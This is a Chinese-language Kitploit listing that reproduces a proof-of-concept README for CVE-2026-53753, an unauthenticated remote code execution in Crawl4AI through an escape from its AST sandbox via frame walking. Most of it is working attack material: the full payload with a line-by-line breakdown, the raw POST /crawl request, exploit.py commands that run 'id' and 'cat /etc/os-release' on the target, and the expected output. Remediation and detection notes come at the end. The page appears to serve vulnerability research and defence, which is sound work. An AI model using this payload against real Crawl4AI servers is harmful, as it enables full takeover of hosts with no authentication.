Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 未经身份验证的RCE(通过gi_frame.f_back的AST沙箱逃逸)。实验室+PoC,已验证端到端。 | Kitploit
工具/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
静态分析动态分析 (沙盒)漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
实验室与实践
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 未经身份验证的RCE(通过gi_frame.f_back的AST沙箱逃逸)。实验室+PoC,已验证端到端。

查看仓库
42个月前尚未审核
分享

CVE-2026-53753 — Crawl4AI 未认证远程代码执行(AST沙箱逃逸)

预认证RCE在Crawl4AI < 0.8.7。一个精心构造的JsonCssExtractionStrategy schema发送到未认证的POST /crawl端点,到达计算字段评估器(_safe_eval_expression),通过Python帧对象逃逸其AST允许列表,到达真正的builtins,并运行__import__('os').popen(<cmd>).read()——在JSON响应中带内返回命令输出。

CVECVE-2026-53753
公告GHSA-qxjp-w3pj-48m7
受影响版本Crawl4AI <= 0.8.6
修复版本0.8.7
漏洞类型CWE-94(代码注入)/ Python沙箱逃逸
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
认证无 — 默认配置中 jwt_enabled: false
状态已确认 — 在官方 unclecode/crawl4ai:0.8.6 镜像上端到端复现

目录

  1. 根本原因
  2. 载荷逐行解析
  3. 为什么帧遍历能到达真正的builtins
  4. 实验环境搭建
  5. 运行利用工具
  6. 预期输出
  7. 原始HTTP请求
  8. 故障排除
  9. 影响/修复/检测
  10. 验证

深度分析:参见 ANALYSIS.md 了解节点级AST遍历、运行时帧栈、请求数据流以及补丁差异。


1. 根本原因

crawl4ai/extraction_strategy.py 允许提取 schema 定义计算字段——每次提取项时评估的小型Python表达式。它们由 _safe_eval_expression() 运行,该函数尝试使用AST允许列表和精简的 __builtins__ 对表达式进行沙箱化:

root@kitploit:~
# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # 阻止双下划线属性访问,例如 __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # 没有__import__, 没有eval, 没有open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

验证器是基于前缀的拒绝:它只拒绝以 _ 开头的名称(以及 import)。这个单一启发式规则就是整个沙箱——但它有三个漏洞,组合起来形成完全逃逸:

该 schema 到达此函数时无需认证:Docker API 默认配置 security.jwt_enabled: false,因此 /crawl 的令牌依赖是 lambda: None。

2. 载荷逐行解析

计算字段表达式为:

root@kitploit:~
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

逐部分解读:

由于生成器的值是 os.popen(cmd).read(),命令的stdout成为字段值并反射回 /crawl 响应中——一个带内oracle,无需OAST。

3. 为什么帧遍历能到达真正的builtins

当 list(g) 迭代生成器时,调用栈如下所示:

root@kitploit:~
帧: _safe_eval_expression()      <-- 真正builtins  (__import__ 在此)   ← f_back ×3
   └ 帧: <expression> (eval)     <-- 沙箱化builtins (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ 帧: <lambda>           <-- 沙箱化                                 ← f_back ×1
             └ 帧: <genexpr> g   <-- 运行中;g.gi_frame 是这个帧         ← gi_frame

g.gi_frame.f_back 仅在生成器运行时才被填充(这就是为什么生成器必须引用自身并由 list(g) 驱动——尚未启动的生成器 f_back is None)。向上遍历 f_back 三次落在 _safe_eval_expression 帧上,其 f_builtins 是完整的builtins模块——通过下标从中取出 __import__。

帧深度对于此代码路径是稳定的:f_back × 3 对于 Crawl4AI 0.8.6 的 _safe_eval_expression 是正确的。

4. 实验环境搭建

官方镜像附带易受攻击的默认配置(无认证):

root@kitploit:~
# 选项 A — docker compose(常规Docker主机,桥接网络)
docker compose -f lab/docker-compose.yml up -d

# 选项 B — 纯docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

等待约20秒让浏览器池预热(docker logs crawl4ai-vuln → Application startup complete)。

5. 运行利用工具

root@kitploit:~
# 检查请求体但不发送:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# 执行(命令stdout返回在响应中):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py 仅使用Python标准库——无需依赖。

6. 预期输出

root@kitploit:~
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

out 字段是实时OS状态(id 输出、uname、容器的 os-release),不是请求的回应——uid=999(appuser) 是容器的服务账户,证明代码在Crawl4AI主机内部执行。唯一的 echo <marker> 会被原样反射,确认命令实际运行。

7. 原始HTTP请求

root@kitploit:~
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<来自§2的载荷>"}]}}}}}}
  • raw://… 使请求自包含——无需出站抓取;攻击者内联提供HTML。
  • baseSelector: "div" 只需要匹配一个元素,以便评估计算字段。对于真实爬取目标,使用任何匹配页面的选择器。

8. 故障排除

9. 影响

任何网络可达的客户端在默认部署下无需认证即可在Crawl4AI主机上执行任意OS命令——完全危及服务器,并可进入其能访问的任何内部资源。

修复

  • 升级到 Crawl4AI ≥ 0.8.7(移除了 _safe_eval_expression;expression 计算字段键被禁用——改用 function 键并传入经过审查的Python可调用对象)。
  • 纵深防御:启用JWT(jwt_enabled: true + api_token),切勿将Crawl4AI API暴露给不受信任的网络。

检测

标记包含 gi_frame、f_back、f_builtins 或任何携带 expression 键的 computed 字段的 POST /crawl(及 /crawl/stream)请求体。

披露/致谢

  • PoC作者:Caio Fabrício — github.com/BiiTts
  • 漏洞归功于原始CVE/公告报告者;此仓库为防御和教育目的的独立复现。
  • 仅用于授权的安全测试。
下载工具
#漏洞为什么重要
1gi_frame, f_back, f_builtins 不以 _ 开头整个Python帧/生成器内省表面可达。
2obj['__import__'] 是一个 ast.Subscript,不是 ast.Attribute验证器从不检查字典下标键,因此双重下划线键 __import__ 通过。
3一个正在运行的生成器的 f_back 链导致一个外部帧,其 f_builtins 是真正的builtins逃逸出精简的 _SAFE_EVAL_BUILTINS 回到完整的builtins(包括 __import__ 等)。
片段作用为何验证器允许
(lambda: ... )()创建一个函数作用域,使得walrus绑定的名称存在于闭包单元中。ast.Lambda 不被检查。
g := ( <expr> for i in [1])将生成器绑定到 g 并且生成器体引用 g(自身)。:= 和生成器表达式不被检查。(Walrus在推导式可迭代对象中非法,因此放在元组元素中代替。)
list(g)驱动生成器——因此在体运行时其帧是活跃的。list 在安全builtins中。
g.gi_frame生成器的帧对象。gi_frame 不以 _ 开头。
.f_back.f_back.f_back向上遍历三个帧,到达具有真正builtins的帧。f_back 不以 _ 开头。
.f_builtins该帧的builtins映射(真正的那个)。f_builtins 不以 _ 开头。
['__import__']从builtins字典中获取 __import__。字典下标——从不检查。
('os')__import__('os') → os 模块。调用目标是 Subscript,不是 Name/Attribute。
.popen('id').read()运行命令并返回其stdout。popen/read 不以 _ 开头。
症状原因/修复
:11235 上 Connection refused容器仍在预热,或您的Docker守护进程没有可用的 bridge 网络。等待 Application startup complete;如果端口映射不绑定,使用 --network host 运行容器。
out 是 null基础选择器未匹配任何元素——确保 raw:// HTML包含 <div>(或调整 baseSelector)。
在0.8.6上有效,但0.8.7无效预期行为——0.8.7 移除了 _safe_eval_expression 并完全禁用了 expression 键(修复)。